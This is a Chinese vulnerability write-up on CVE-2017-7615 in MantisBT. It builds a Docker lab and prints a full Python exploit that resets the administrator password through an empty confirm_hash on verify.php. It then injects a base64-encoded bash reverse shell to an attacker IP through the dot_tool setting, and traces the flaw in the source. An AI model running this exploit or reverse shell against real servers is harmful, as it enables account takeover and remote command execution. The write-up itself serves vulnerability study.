Mantis BT CVE-2017-7615任意密码重置+认证后RCE漏洞分析

声明

出品|先知社区(ID:1s1and)

以下内容,来自先知社区的1s1and作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。

概述

Mantis BT是一个BUG管理系统,用php编写,系统相对简单轻量级,开源。

CVE-2017-7615漏洞影响MantisBT2.3.0及之前的版本,攻击者可通过向verify.php文件传递空的confirm_hash值利用该漏洞重置任意密码,获取管理员访问权限。

环境搭建

启动一个docker

sudo docker run -it --name Mantis -p 10080:80 --
privileged=true -v 
/home/island/work/work/software/Mantis/container:/root 
ubuntu:16.04 bash

进入docker先安装最基础的一些工具

apt-get update
apt-get install net-tools 
apt-get install iputils-ping
apt-get install iproute2
apt-get install vim
apt-get install zip

安装Mantis

apt-get install apache2
apt-get install php
apt-get install php7.0-gd (php用你的特定版本)apt-get install libapache2-mod-php
apt-get install mysql-server
apt-get install php-mysql
apt-get install php-xml
apt-get install php-mbstring
service apache2 start
service mysql start

从GitHub上可以下载到2.18.0的Mantis的安装包

https://github.com/mantisbt/mantisbt/tree/release-2.18.0,然后进行安装

cp  mantisbt-2.18.0.zip  /var/www/html/
cd  /var/www/html/
unzip mantisbt-2.18.0.zip
mv mantisbt-2.18.0 mantisbt
chmod -R 777 mantisbt

修改配置文件,将/etc/php/7.0/apache2/php.ini其中;extension=msql.so前边的分号删除

修改文件/etc/apache2/apache2.conf,在最后加上一行ServerName localhost:80

在访问目标80端口时候发现不能正常访问,查看apache2日志

root@21467ebf0ffb:/var/www/html/mantisbt# 
tail /var/log/apache2/error.log[Tue Jul 26 09:30:04.072922 2022] [:error] [pid 12525] [client 172.16.113.1:56529] PHP 
Warning:  
require_once(/var/www/html/mantisbt/vendor/autoload.php): 
failed to open stream: No such file or directory in /var/www/html/mantisbt/core.php on line 91[Tue Jul 26 09:30:04.072952 2022] [:error] [pid 12525] [client 172.16.113.1:56529] PHP Fatal error:  require_once(): Failed opening required '/var/www/html/mantisbt/vendor/autoload.php' (include_path='.:/usr/share/php') in /var/www/html/mantisbt/core.php on line 91[Tue Jul 26 09:30:07.553159 2022] [:error] [pid 12533]
[client 172.16.113.1:56558] PHP Warning:  
require_once(/var/www/html/mantisbt/vendor/autoload.php): 
failed to open stream: 
No such file or directory in /var/www/html/mantisbt/core.php on line 91[Tue Jul 26 09:30:07.553188 2022] [:error] [pid 12533] [client 172.16.113.1:56558] PHP Fatal error:  require_once(): Failed opening required '/var/www/html/mantisbt/vendor/autoload.php' (include_path='.:/usr/share/php') in /var/www/html/mantisbt/core.php on line 91[Tue Jul 26 09:30:08.132794 2022] [:error] [pid 12526] 
[client 172.16.113.1:56559] PHP Warning:  
require_once(/var/www/html/mantisbt/vendor/autoload.php): 
failed to open stream: No such file or directory in /var/www/html/mantisbt/core.php on line 91[Tue Jul 26 09:30:08.132822 2022] [:error] [pid 12526] [client 172.16.113.1:56559] PHP Fatal error:  require_once():
Failed opening required '/var/www/html/mantisbt/vendor/autoload.php' (include_path='.:/usr/share/php') in /var/www/html/mantisbt/core.php on line 91[Tue Jul 26 09:30:08.335108 2022] [:error] [pid 12527] 
[client 172.16.113.1:56560] PHP Warning:  
require_once(/var/www/html/mantisbt/vendor/autoload.php): 
failed to open stream: No such file or directory in /var/www/html/mantisbt/core.php on line 91[Tue Jul 26 09:30:08.335137 2022] [:error] [pid 12527] [client 172.16.113.1:56560] PHP Fatal error:  require_once(): 
Failed opening required '/var/www/html/mantisbt/vendor/autoload.php' (include_path='.:/usr/share/php') in /var/www/html/mantisbt/core.php on line 91[Tue Jul 26 09:30:08.497536 2022] [:error] [pid 12528] [client 172.16.113.1:56561] PHP Warning: 
require_once(/var/www/html/mantisbt/vendor/autoload.php): 
failed to open stream: No such file or directory in /var/www/html/mantisbt/core.php on line 91[Tue Jul 26 09:30:08.497565 2022] [:error] [pid 12528] [client 172.16.113.1:56561] PHP Fatal error:  
require_once(): Failed opening required '/var/www/html/mantisbt/vendor/autoload.php' (include_path='.:/usr/share/php') in /var/www/html/mantisbt/core.php on line 91

查了一下,在mantisbt目录下执行以下命令配置一下环境,安装依赖:

composer dump-autoload
apt-get install php7.0-gd
composer install

然后访问

http://172.16.113.160:10080/mantisbt/admin/install.php页面进行傻瓜式安装

安装完成后访问

http://172.16.113.160:10080/mantisbt即可进入登陆界面,登陆账号administrator,密码root

图片

图片

调试环境搭建

这个洞和我安装的版本不太适配,为了进行调试,同样的方法下载安装mantisBT 2.2.2,下载github里面的发现有点问题,建议可以去

https://sourceforge.net/projects/mantisbt/下载

下载解压完成后放在web目录下安装

cp -r /root/mantisbt-2.2.2/ /var/www/html/
chmod -R 777 mantisbt-2.2.2/

另外为了方便调试,利用vscode+xdebug实现php的远程调试,记录一下配置记录

服务器端配置

apt install php-xdebug

然后通过命令php --ini | more可以知道php.ini文件的位置,在/etc/php/7.0/cli/php.ini,打开在末尾增加以下内容

[xdebug]zend_extension=xdebug.so[XDebug]xdebug.remote_enable = on
xdebug.remote_autostart = 1xdebug.remote_host = 172.16.113.1
xdebug.remote_port = 9000xdebug.remote_connect_back = 0xdebug.auto_trace = 1xdebug.collect_includes = 1xdebug.collect_params = 1xdebug.remote_log = /tmp/xdebug.log

主机端配置

我的主机IDE端是Mac+VScode

Mac自带php,且php自带xdebug组件不用重复安装

直接打开VScode,打开调试界面,会自动添加launch.json,编辑加入以下内容

{
    // Use IntelliSense to learn about possible attributes.
    // Hover to view descriptions of existing attributes.
    // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
    "version": "0.2.0",
    "configurations": [
        {
            "name": "Listen for XDebug",
            "type": "php",
            "request": "launch",
            "stopOnEntry":false,
            "localSourceRoot": "/Users/islandmac/Seafile/MyDocument/work/software/Mantis/container/mantisbt-2.2.2/",
            "serverSourceRoot": "/var/www/html/mantisbt-2.2.2/",
            "port": 9000
        },
        {
            "name": "Launch currently open script",
            "type": "php",
            "request": "launch",
            "program": "${file}",
            "cwd": "${fileDirname}",
            "port": 9000
        }
    ]}

调试环境测试

至此,调试环境搭建完成,在verify.php头部下一个断点,尝试访问,发现果然断下来了,证明调试环境搭建成功

图片

漏洞复现

exp已经有大佬在网上放出来了

import requestsfrom urllib import quote_plusfrom base64 import b64encodefrom re import splitclass exploit():    def __init__(self):        self.s = requests.Session()        self.headers = dict()  # Initialize the headers dictionary        self.RHOST = "192.168.1.10"  # Victim IP        self.RPORT =
"10080"  # Victim port        self.LHOST = "192.168.1.10"  
# Attacker IP        self.LPORT = "4444"  # Attacker Port        
self.verify_user_id = "1"  # User id for the target account        
self.realname = "administrator"  # Username to hijack        
self.passwd = "password"  # New password after account hijack        
self.mantisLoc = "/mantisbt-2.2.2"  # Location of mantis in URL        self.ReverseShell = "echo " + b64encode(            "bash -i >& /dev/tcp/" + self.LHOST + "/" + self.LPORT + " 0>&1") + " | base64 -d | /bin/bash"  # Reverse shell payload    def reset_login(self):        # Request # 1: Grab the account update token        url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/verify.php?id=' + self.verify_user_id + '&confirm_hash='        r = self.s.get(url=url, headers=self.headers)        if r.status_code == 404:            print "ERROR: Unable to access password reset page"            exit()        account_update_token = r.text.split('name="account_update_token" value=')[1].split('"')[1]        # Request # 2: Reset the account password        url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/account_update.php'        data = "account_update_token=" + account_update_token + "&password=" + self.passwd + "&verify_user_id=" + self.verify_user_id + "&realname=" + self.realname + "&password_confirm=" + self.passwd        self.headers.update({'Content-Type': 'application/x-www-form-urlencoded'})        r = self.s.post(url=url, headers=self.headers, data=data)        if r.status_code == 200:            print "Successfully hijacked account!"    def login(self):        data = "return=index.php&username=" + self.realname + "&password=" + self.passwd + "&secure_session=on"        url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/login.php'        r = self.s.post(url=url, headers=self.headers, data=data)        if "login_page.php" not in r.url:            print "Successfully logged in!"    def CreateConfigOption(self, option, value):        # Get adm_config_set_token        url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/adm_config_report.php'        r = self.s.get(url=url, headers=self.headers)        adm_config_set_token = r.text.split('name="adm_config_set_token" value=')[1].split('"')[1]        # Create config        data = "adm_config_set_token=" + adm_config_set_token + "&user_id=0&original_user_id=0&project_id=0&original_project_id=0&config_option=" + option + "&original_config_option=&type=0&value=" + quote_plus(            value) + "&action=create&config_set=Create+Configuration+Option"        url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/adm_config_set.php'        r = self.s.post(url=url, headers=self.headers, data=data)    def TriggerExploit(self):        print "Triggering reverse shell"        url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/workflow_graph_img.php'        try:            r = self.s.get(url=url, headers=self.headers, timeout=3)        except:            pass    def Cleanup(self):        # Delete the config settings that were created to send the reverse shell        print "Cleaning up"        cleaned_up = False        cleanup = requests.Session()        CleanupHeaders = dict()        CleanupHeaders.update({'Content-Type': 'application/x-www-form-urlencoded'})        data = "return=index.php&username=" + self.realname + "&password=" + self.passwd + "&secure_session=on"        url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/login.php'        r = cleanup.post(url=url, headers=CleanupHeaders, data=data)        ConfigsToCleanup = ['dot_tool', 'relationship_graph_enable']        for config in ConfigsToCleanup:            # Get adm_config_delete_token            url = "http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_report.php"            r = cleanup.get(url=url, headers=self.headers)            test = split('', r.text)            # First element of the response list is garbage, delete it            del test[0]            cleanup_dict = dict()            for i in range(len(test)):                if config in test[i]:                    cleanup_dict.update({'config_option': config})                    cleanup_dict.update({'adm_config_delete_token':                                             test[i].split('name="adm_config_delete_token" value=')[1].split('"')[1]})                    cleanup_dict.update({'user_id': test[i].split('name="user_id" value=')[1].split('"')[1]})                    cleanup_dict.update({'project_id': test[i].split('name="project_id" value=')[1].split('"')[1]})            # Delete the config            print "Deleting the " + config + " config."            url = "http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_delete.php"            data = "adm_config_delete_token=" + cleanup_dict['adm_config_delete_token'] + "&user_id=" + cleanup_dict[                'user_id'] + "&project_id=" + cleanup_dict['project_id'] + "&config_option=" + cleanup_dict[                       'config_option'] + "&_confirmed=1"            r = cleanup.post(url=url, headers=CleanupHeaders, data=data)            # Confirm if actually cleaned up            r = cleanup.get(url="http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_report.php",                            headers=CleanupHeaders, verify=False)            if config in r.text:                cleaned_up = False            else:                cleaned_up = True        if cleaned_up == True:            print "Successfully cleaned up"        else:            print "Unable to clean up configs"exploit = exploit()exploit.reset_login()exploit.login()exploit.CreateConfigOption(option="relationship_graph_enable", value="1")exploit.CreateConfigOption(option="dot_tool", value=exploit.ReverseShell + ';')exploit.TriggerExploit()exploit.Cleanup()

我在我的攻击机上开展监听

╰─$ nc -lvvp 4444 -n
Listening on 0.0.0.0 4444

更改exp当中的攻击机ip,目标ip,mantisLoc等信息后,执行exp

╰─$ python CVE-2017-7615_exp.py
Successfully hijacked account!
Successfully logged in!
Triggering reverse shell
Cleaning up
Deleting the dot_tool config.
Deleting the relationship_graph_enable config.
Successfully cleaned up

成功接受回连获取shell

╰─$ nc -lvvp 4444 -n                                                                                                    130 ↵
Listening on 0.0.0.0 4444Connection received on 172.17.0.4 40698bash: cannot set terminal process group (12522): Inappropriate ioctl for device
bash: no job control in this shell
www-data@21467ebf0ffb:/var/www/html/mantisbt-2.2.2$ id
iduid=33(www-data) gid=33(www-data) groups=33(www-data)

密码重置漏洞分析

exp中可以看到包含了一个密码重置漏洞和一个认证后的RCE漏洞,由于是个老洞了分析整套的利用修复具体逻辑没有太大意义,因此只分析一下漏洞原理

重置密码的两个数据包

GET /mantisbt-2.2.2/verify.php?id=1&confirm_hash= HTTP/1.1
Host: 172.16.113.160:10080
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.24.0
POST /mantisbt-2.2.2/account_update.php HTTP/1.1
Host: 172.16.113.160:10080
Connection: close
Accept-Encoding: gzip, deflateAccept: */*
User-Agent: python-requests/2.24.0
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=49copvvmkmrpp014hv2255cup3
Content-Length: 145
account_update_token=20220727yZ-LSS6H7Oh2T8e0vtB-7idGE-jtqpkN&password=password&verify_user_id=1&realname=administrator&password_confirm=password

第一个包是为了获取account_update_token的参数值,打开verify.php进行分析

$f_user_id = gpc_get_string( 'id' );$f_confirm_hash = gpc_get_string( 'confirm_hash' );......$t_token_confirm_hash = token_get_value( TOKEN_ACCOUNT_ACTIVATION, $f_user_id );if( $f_confirm_hash != $t_token_confirm_hash ) {    trigger_error( ERROR_LOST_PASSWORD_CONFIRM_HASH_INVALID, ERROR );}user_reset_failed_login_count_to_zero( $f_user_id );user_reset_lost_password_in_progress_count_to_zero( $f_user_id );# fake login so the user can set their passwordauth_attempt_script_login( user_get_field( $f_user_id, 'username' ) );user_increment_login_count( $f_user_id );# extracts the user information# and prefixes it with u_$t_row = user_get_row( $f_user_id );extract( $t_row, EXTR_PREFIX_ALL, 'u' );$t_can_change_password = helper_call_custom_function( 'auth_can_change_password', array() );layout_login_page_begin();......?>

可以看到头部在做的就是从query数据中取出id和confirm_hash参数值,然后将id值传入token_get_value

/** 
* Get a token's value or null if not found 
* @param integer $p_type    The token type to retrieve. 
* @param integer $p_user_id The user identifier (null for current user). 
* @return array Token row 
*/function token_get_value( $p_type, $p_user_id = null ) {    
$t_token = token_get( $p_type, $p_user_id );    
if( null !== $t_token )
{        
return $t_token['value'
];
    }   
   return null;
   }

经过动态调试跟踪发现最终是运行以下命令获取token值

SELECT * FROM mantis222_tokens_table222 WHERE type=? AND owner=?;

这个值在登陆后才会有值,当我们没有登录的情况下是空的,因此返回null

因此verify.php继续向下运行

.......
if
( $f_confirm_hash != $t_token_confirm_hash ) {
    trigger_error( ERROR_LOST_PASSWORD_CONFIRM_HASH_INVALID, ERROR );
    }
 ......

就不会触发本应触发的错误,导致此处的校验绕过,继续向下运行到

auth_attempt_script_login(user_get_field($f_user_id, ‘username’) );,

会调用user_get_field函数,user_get_field中会将用户id传入user_get_row函数,user_get_row函数又会进一步调用user_cache_row函数

function user_cache_row( $p_user_id, $p_trigger_errors = true ) {   
 global $g_cache_user;    
 $c_user_id = (int)$p_user_id;    
 if( !isset( $g_cache_user[$c_user_id] ) ) {        
 user_cache_array_rows( array( $c_user_id ) );    
 }    
 $t_user_row = $g_cache_user[$c_user_id];    
 if( !$t_user_row ) 
 {        
 if( $p_trigger_errors )
  {            
 error_parameters( (integer)$p_user_id );           
  trigger_error( ERROR_USER_BY_ID_NOT_FOUND, ERROR );      
    }        
    return false;   
     }   
      return $t_user_row;
    }

此处会从数据库中取出现有的用户信息存入g_cache_user当中,然后根据g\_cache\_user当中,然后根据g_cache_user当中,然后根据c_user_id(request传入的id值),来获取相应的用户信息t_user_row。但是如果没有取到有效的t\_user\_row。但是如果没有取到有效的t_user_row。但是如果没有取到有效的t_user_row值,就会触发错误

此处也能解释在第一个数据包中的id值为什么须为1,因为用户中至少存在一个administrator,ID值为1则有效,如果没有添加其他用户的情况下,request传入除了1以外的值就会触发错误。

继续向下运行加载前端界面,内嵌一行php

<?php
                    echo form_security_field( 'account_update' );
                    # When verifying account, set a token and don't display current password
                    token_set( TOKEN_ACCOUNT_VERIFY, true, TOKEN_EXPIRY_AUTHENTICATED, $u_id );
                    ?>

这行则会加载我们需要用的有效的account_update_key并返回给用户,然后研究

第二个数据包

POST /mantisbt-2.2.2/account_update.php HTTP/1.1
Host: 172.16.113.160:10080
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.24.0
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=49copvvmkmrpp014hv2255cup3
Content-Length: 145
account_update_token=20220727yZ-LSS6H7Oh2T8e0vtB-7idGE-
jtqpkN&password=password&verify_user_id=1&realname=administrator&password_confirm=password

进去分析account_update.php,头部存在代码

form_security_validate( ‘account_update’ );

会检查输入的session与account_update是否匹配,如果没有有效的token则会报错推出

否则会继续向下运行,做一些参数校验工作,然后调用方法user_set_password来

重置口令,user_set_password方法会整合所有参数组合为以下sql语句执行:

UPDATE mantis222_user_table222 SET password=root, cookie_string=XFf3oXAaubj6XafrescDZ702IJeWIA1kecS7KoKvqFge_skYnK2QPVHR6Im5FXcq WHERE id=1

完成管理员密码的重置

认证后命令执行漏洞分析

认证后RCE关键是这四个数据包,登陆后获取有效cookie,然后请求adm_config_report.php可以获取有效的adm_config_set_token值

GET /mantisbt-2.2.2/adm_config_report.php HTTP/1.1Host: 172.16.113.160:10080Connection: closeAccept-Encoding: gzip, deflateAccept: */*User-Agent: python-requests/2.24.0Content-Type: application/x-www-form-urlencodedCookie: MANTIS_secure_session=1; MANTIS_STRING_COOKIE=0xHUTDS51L2uETGn_LoM_abe3BCUSEUs0nBph9AiGC6UrpleMyZ0VFhf_HUshQc5; PHPSESSID=u2cr4957le1oe6etkdrd734s70

然后请求adm_config_set.php,config_option参数为

relationship_graph_enable

POST /mantisbt-2.2.2/adm_config_set.php HTTP/1.1Host: 172.16.113.160:10080Connection: closeAccept-Encoding: gzip, deflateAccept: */*User-Agent: python-requests/2.24.0Content-Type: application/x-www-form-urlencodedCookie: MANTIS_secure_session=1; MANTIS_STRING_COOKIE=0xHUTDS51L2uETGn_LoM_abe3BCUSEUs0nBph9AiGC6UrpleMyZ0VFhf_HUshQc5; PHPSESSID=3ed30cul6f19sr0v49d9l5vs33Content-Length: 257adm_config_set_token=20220728agSFMyTMhprSgtlLxX

进而继续请求adm_config_set.php,config_option参数变为dot_tool,value参数重为我们要执行的命令

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTEzLjE2MC80NDQ0IDA+JjE= | base64 -d | /bin/bash;
POST /mantisbt-2.2.2/adm_config_set.php HTTP/1.1Host: 172.16.113.160:10080Connection: closeAccept-Encoding: gzip, deflateAccept: */*User-Agent: python-requests/2.24.0Content-Type: application/x-www-form-urlencodedCookie: MANTIS_secure_session=1; MANTIS_STRING_COOKIE=0xHUTDS51L2uETGn_LoM_abe3BCUSEUs0nBph9AiGC6UrpleMyZ0VFhf_HUshQc5; PHPSESSID=5aka0muqtf70qs0cbgk004r8g6Content-Length: 345adm_config_set_token=20220728IEIong_N4C3T2y434vmOxnPFjVz8oKB9&user_id=0&original_user_id=0&project_id=0&original_project_id=0&config_option=dot_tool&original_config_option=&type=0&value=echo+YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xNzIuMTYuMTEzLjE2MC80NDQ0IDA%2BJjE%3D+%7C+base64+-d+%7C+%2Fbin%2Fbash%3B&action=create&config_set=Create+Confi

最后再调用workflow_graph_img.php,触发写入的命令

GET /mantisbt-2.2.2/workflow_graph_img.php HTTP/1.1Host: 172.16.113.160:10080Connection: closeAccept-Encoding: gzip, deflateAccept: */*User-Agent: python-requests/2.24.0Content-Type: application/x-www-form-urlencodedCookie: MANTIS_secure_session=1; MANTIS_STRING_COOKIE=0xHUTDS51L2uETGn_LoM_abe3BCUSEUs0nBph9AiGC6UrpleMyZ0VFhf_HUshQc5; PHPSESSID=3ed30cul6f19sr0v49d9l5vs33

进入adm_config_set.php开展分析,同样,开头调用form_security_validate( ‘adm_config_set’ );要求必须要有一个有效的adm_config_set值

最后调用config_set( $f_config_option, $t_value, $f_user_id, $f_project_id )设置相应的参数

仔细分析一下第二个包最后的结果:

POST /mantisbt-2.2.2/adm_config_set.php HTTP/1.1Host: 172.16.113.160:10080Connection: closeAccept-Encoding: gzip, deflateAccept: */*User-Agent: python-requests/2.24.0Content-Type: application/x-www-form-urlencodedCookie: MANTIS_secure_session=1; MANTIS_STRING_COOKIE=0xHUTDS51L2uETGn_LoM_abe3BCUSEUs0nBph9AiGC6UrpleMyZ0VFhf_HUshQc5; PHPSESSID=3ed30cul6f19sr0v49d9l5vs33Content-Length: 257adm_config_set_token=20220728agSFMyTMhprSgtlLxXdhye0ejxWCxE1W&user_id=0&original_user_id=0&project_id=0&original_project_id=0&config_option=relationship_graph_enable&original_config_option=&type=0

图片

执行的命令为

UPDATE mantis222_config_table222                    SET value="1", type=1, access_reqd=90                   WHERE config_id = relationship_graph_enable AND                     project_id = 0 AND                      user_id = 0

图片

再分析第三个数据包

POST /mantisbt-2.2.2/adm_config_set.php HTTP/1.1Host: 172.16.113.160:10080Connection: closeAccept-Encoding: gzip, deflateAccept: */*User-Agent: python-requests/2.24.0Content-Type: application/x-www-form-urlencodedCookie: MANTIS_secure_session=1; MANTIS_STRING_COOKIE=0xHUTDS51L2uETGn_LoM_abe3BCUSEUs0nBph9AiGC6UrpleMyZ0VFhf_HUshQc5; PHPSESSID=5aka0muqtf70qs0cbgk004r8g6Content-Length: 345adm_config_set_token=20220728IEIong_N4C3T2y434vmOxnPFjVz8oKB9&user_id=0&original_user_id=0&project_id=0&original_project_id=0&config_option=dot_tool&original_config_option=&type=0&value=echo+YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xNzIuMTYuMTEzLjE2MC80NDQ0IDA%2BJjE%3D+%7C+base64+-d+%7C+%2Fbin%2Fbash%3B&action=create&config_set=Create+Configuration+Opt

图片

执行的命令

POST /mantisbt-2.2.2/adm_config_set.php HTTP/1.1Host: 172.16.113.160:10080Connection: closeAccept-Encoding: gzip, deflateAccept: */*User-Agent: python-requests/2.24.0Content-Type: application/x-www-form-urlencodedCookie: MANTIS_secure_session=1; MANTIS_STRING_COOKIE=0xHUTDS51L2uETGn_LoM_abe3BCUSEUs0nBph9AiGC6UrpleMyZ0VFhf_HUshQc5; PHPSESSID=5aka0muqtf70qs0cbgk004r8g6Content-Length: 345adm_config_set_token=20220728IEIong_N4C3T2y434vmOxnPFjVz8oKB9&user_id=0&original_user_id=0&project_id=0&original_project_id=0&config_option=dot_tool&original_config_option=&type=0&value=echo+YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xNzIuMTYuMTEzLjE2MC80NDQ0IDA%2BJjE%3D+%7C+base64+-d+%7C+%2Fbin%2Fbash%3B&action=create&config_set=Create+Configuration+Opt

可以看到,配置的数据库中dot_tool的value值被设置为我们要执行的命令,继续分析第四个数据包

GET /mantisbt-2.2.2/workflow_graph_img.php HTTP/1.1Host: 172.16.113.160:10080Connection: closeAccept-Encoding: gzip, deflateAccept: */*User-Agent: python-requests/2.24.0Content-Type: application/x-www-form-urlencodedCookie: MANTIS_secure_session=1; MANTIS_STRING_COOKIE=0xHUTDS51L2uETGn_LoM_abe3BCUSEUs0nBph9AiGC6UrpleMyZ0VFhf_HUshQc5; PHPSESSID=3ed30cul6f19sr0v49d9l5vs33

分析一下workflow_graph_img.php

......$t_dot_tool = config_get( 'dot_tool' );
......$t_graph = new Graph( 'workflow', $t_graph_attributes, $t_dot_tool );$t_graph->set_default_node_attr( array ( 'fontname' => $t_graph_fontname,                        
 'fontsize' => $t_graph_fontsize,                                         
 'shape'    => 'record',                                         
 'style'    => 'filled',                                         
 'height'   => '0.2',                                         
 'width'    => '0.4' ) );
 $t_graph->set_default_edge_attr( array ( 'style' => 'solid',                                         
 'color' => '#0000C0',                                         
 'dir'   => 'forward' ) );
 foreach ( $t_status_arr as $t_from_status => $t_from_label ) {    
 $t_enum_status = MantisEnum::getAssocArrayIndexedByValues( config_get( 'status_enum_string' ) );    
 foreach ( $t_enum_status as $t_to_status_id => $t_to_status_label ) {        
 if( workflow_transition_edge_exists( $t_from_status, $t_to_status_id ) ) {            $t_graph->add_edge( string_no_break( MantisEnum::getLabel( lang_get( 'status_enum_string' ), $t_from_status ) ),                                string_no_break( MantisEnum::getLabel( lang_get( 'status_enum_string' ), $t_to_status_id ) ),                                array() );        }    }}
 $t_graph->output( 'png', true );

会从配置中取出我们设置好的dot_tool值,然后作为参数实例化一个Graph对象,最终会调用Graph的output方法

查看Graph的构造函数

function __construct( $p_name = 'G', array $p_attributes = array(), $p_tool = 'neato' ) {        
if( is_string( $p_name ) ) 
{            
$this->name = $p_name;       
 }        
$this->set_attributes( $p_attributes );       
 $this->graphviz_tool = $p_tool;  
   }

会将参数dot_tool的值赋给graphviz_tool

进而在Graph类的output函数中

function output( $p_format = 'dot', $p_headers = false ) {
......        
$t_command = $this->graphviz_tool . ' -T' . $p_format;        
$t_descriptors = array(           
 0 => array( 'pipe', 'r', ),            
 1 => array( 'pipe', 'w', ),            
 2 => array( 'file', 'php://stderr', 'w', ),            
 );        
 $t_pipes = array();        
 $t_proccess = proc_open( $t_command, $t_descriptors, $t_pipes );
 ......
 }

会将graphviz_tool参数拼接到命令中执行proc_popen,进而导致命令注入

参考

[1] 1s1and’s blog

[2] CVE-2017-7615

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值